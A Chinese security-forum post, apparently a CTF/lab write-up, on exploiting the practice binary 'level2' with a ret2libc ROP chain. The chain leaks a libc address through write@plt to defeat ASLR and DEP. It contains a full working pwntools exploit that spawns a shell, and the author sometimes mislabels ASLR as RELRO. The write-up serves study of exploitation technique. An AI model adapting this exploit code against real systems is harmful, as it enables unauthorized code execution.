首页
社区
课程
招聘
[原创]蒸米ROP基础pwn-Level2通过 ROP 绕过 DEP 和 ASLR 防护
发表于: 2024-4-29 17:18 3125

[原创]蒸米ROP基础pwn-Level2通过 ROP 绕过 DEP 和 ASLR 防护

2024-4-29 17:18
3125

Pwn题下载
看雪幸运轮盘一点也不幸运我的看雪币都没了!!!

1.环境

ubuntu1~16.04.12
pwndbg
python

2.目标

学会绕过DEP、ASLR 的技巧。

3.流程

还是level2这个程序,开启了RELRO 防护,栈溢出的我就不写了上个文章已经写了。
开启RELRO 防护

1
2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

上一个程序关闭了RELRO才能计算到基地址,现在开启了RELRO防护如何计算RELRO 地址?

可以通过计算当前执行的内存地址进行攻击,也就是RELRO每次启动都会变更内存地址,我们可以通过python每次启动的时候都去计算他的地址得到system地址。

4.解题

根据延迟绑定机制进行解题
got的地址是真实的地址(后三位), 可以通过plt去调用已经执行过的函数从从而获取到当前内存的相对地址。 可以通过使用plt函数地址减去got函数地址 得到libc的地址公式可以看上一篇文章

重点: 注意要跳回来 vulnerable_function_addr这个函数为第二栈溢出做准备 。

1
payload = b'a'*140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(0x1) + p32(write_got) + p32(0x4)

使用write_plt(是write为了区分)函数输出 write 的内存地址 因为调用write_plt后got会被绑定成功输出的时候是got绑定后的真实地址。

1
write_got_addr = u32(p.recv(4))# 保存输出的地址

使用libc.symbols['write'](plt)地址减去 write_got_addr(got)地址得到libc地址……以此类推就得到了内存地址

1
2
3
libc_addr = write_got_addr-libc.symbols['write']
system_addr = libc_addr+libc.symbols['system']
str_bin_sh = libc_addr + next(libc.search('/bin/sh'))

5.Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
 
p = process("./level2")
 
# File Elf
elf = ELF('./level2')
libc = ELF('./libc.so.6')
write_plt = elf.symbols['write'] # plt
write_got = elf.got['write']
vulnerable_function_addr = elf.symbols['vulnerable_function']
 
# POC
if args.G:
    gdb.attach(p, "b *vulnerable_function\r\n")
payload = b'a'*140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(0x1) + p32(write_got) + p32(0x4)
 
p.send(payload)
write_got_addr = u32(p.recv(4))
# libc 
libc_addr = write_got_addr-libc.symbols['write']
system_addr = libc_addr+libc.symbols['system']
str_bin_sh = libc_addr + next(libc.search('/bin/sh'))
 
print("String_binsh_addr:", hex(str_bin_sh))
print("system_addr:", hex(system_addr))
 
# POC 2
payload = b'a'*140 + p32(system_addr) + p32(0x0) + p32(str_bin_sh)
 
p.send(payload)
 
p.interactive()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-4-29 17:27 被wx_一个很好记得名字编辑 ,原因: 缺东西
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 3004
活跃值: (30866)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-30 22:48
1
雪    币: 26399
活跃值: (63262)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
3
文章写的简单了些,再补充些细节?
2024-5-1 09:08
0
游客
登录 | 注册 方可回帖
返回
//